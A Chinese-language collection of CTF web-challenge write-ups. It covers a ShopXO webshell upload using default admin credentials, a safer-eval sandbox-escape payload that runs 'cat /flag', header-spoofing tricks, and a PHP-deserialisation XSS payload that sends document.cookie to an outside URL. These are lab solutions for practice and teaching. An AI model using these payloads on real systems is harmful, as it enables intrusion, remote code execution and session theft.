[VNCTF 2021]Ez_game
打开为通过游戏
手打通关是不可能的
法一:在控制台输入winTimer.Set();
法二:
https://www.sojson.com/jsobfuscator.html
输入winTimer[“endTime”]=99
得到加密,并复制到控制台,回车即可
不可以看全flag,那么就Ctrl和-来放小一点即可
[GKCTF2020]老八小超市儿
做题之前先来小菜:
就知道默认后台就是admin.php,
登入的默认账号密码是admin和shopxo。
输入账号密码
然后就进入到了网站后台
接下来就在应用中心里的应用商店找到主题,然后下载默认主题
我们可以在_static_里面加上一个test.php
把一句话写入压缩包,给他一起传上去。
把马传上去了后就要确定上传路径,回到主页,查看头像那张图片的信息就可以发现(或者查看源码),它的路径里有static,又有default的,跟我们上传的基本一样,基本就可以确定就是这路径了
或者:
/public/static/index/default/test.php ,打开验证一下
http://af230ac6-0877-4907-9494-63938ee208f1.node3.buuoj.cn/public/static/index/default/test.php
连接密码为aa
连接蚁剑
连接成功后发现目录里有flag和flag.hint
打开flag里面是假flag
打开hint
然后尝试的打开root目录,发现权限不够
打开这个标红的auto.sh,发现他60秒运行一次makeflaghint.py的脚本
前往makeflaghint.py查看
进行修改:
然后再等60秒可以再flag.hint查看到flag:
[GKCTF2020]EZ三剑客-EzNode
查看源码:
1.通过/eval?delay=上传一个数字并和60000比较,大的赋值给delay
2.了解到:setTimeout最多只能推迟执行2147483647毫秒(24.8天),超过这个时间会发生溢出,导致回调函数将在当前任务队列结束后立即执行
我们传入一个大于2147483647的值即可
3.百度上去找safer-eval库发现存在漏洞(CVE-2019-10769 )
直接拿来用就行 链接:https://github.com/commenthol/safer-eval/issues/10 漏洞利用如下:
4.下面看到要post一个e(就是要让我们沙盒逃逸
),结合3得:
e=clearImmediate.constructor(“return process;”)().mainModule.require(“child_process”).execSync(“cat /flag”).toString()
下面就来操作吧:
[BJDCTF 2nd]假猪套天下第一
登录抓包:
访问L0g1n.php重新抓包一下
这里告诉我们需要再等99年,然后考虑到那边有一个time参数,应该就是把那个time改的超过9年就行。
加了一堆数字,然后提示需要localhost(本地),添加一个XFF为127.0.0.1就行
认不到,那就换一种方法:
改了client-ip后提示需要从gem-love.com跳转过来,添加一个Referer头就行
现在变成了需要使用Commodo 64浏览器,查一下全称是:Commodore 64,改User-Agent就行。
改完UA以后需要添加一个邮箱,新增一个From参数即可。
最后代理服务器地址需要是y1ng.vip,添加via
得到flag的base64编码,解码即可
[BJDCTF 2nd]xss之光
用GitHack-master扫出index.php得到源码:
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
仅看到是一个反序列化,但是不知道类啊,这就遇到了一个反序列化但没有pop链的情况,所以只能找到php内置类来进行反序列化;又发现有个echo;所以我们最好对有_toString方法的类进行反序列化;在 _toString()的原生类反序列化中,常用的是Error和Exception,Error只适于php7,Exception php5和php7都适用
由于此题是xss,所以只要xss执行window.open()就能把flag带出来,所以直接这样:
<?php
$y1ng = new Exception("<script>window.open('http://a0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($y1ng));
?>
//window.open 是 javaScript 打开新窗口的方法
也可以用window.location.href='url'来实现恶意跳转
<?php
$a = new Exception("<script>window.location.href='http://659ddbae-4440-42bd-a588-0eba91823671.node3.buuoj.cn/'+document.cookie</script>");
echo urlencode(serialize($a));
?>
或者用alert(document.cookie)直接弹出cookie,但此题不行,可能开了httponly(见附录)。
<?php
$y1ng = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($y1ng));
?>
结果为:
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fa0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22%2Froot%2Fsoft%2Fplayground%2Findex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
访问:
http://659ddbae-4440-42bd-a588-0eba91823671.node3.buuoj.cn/?yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fa0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22%2Froot%2Fsoft%2Fplayground%2Findex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
或者用bp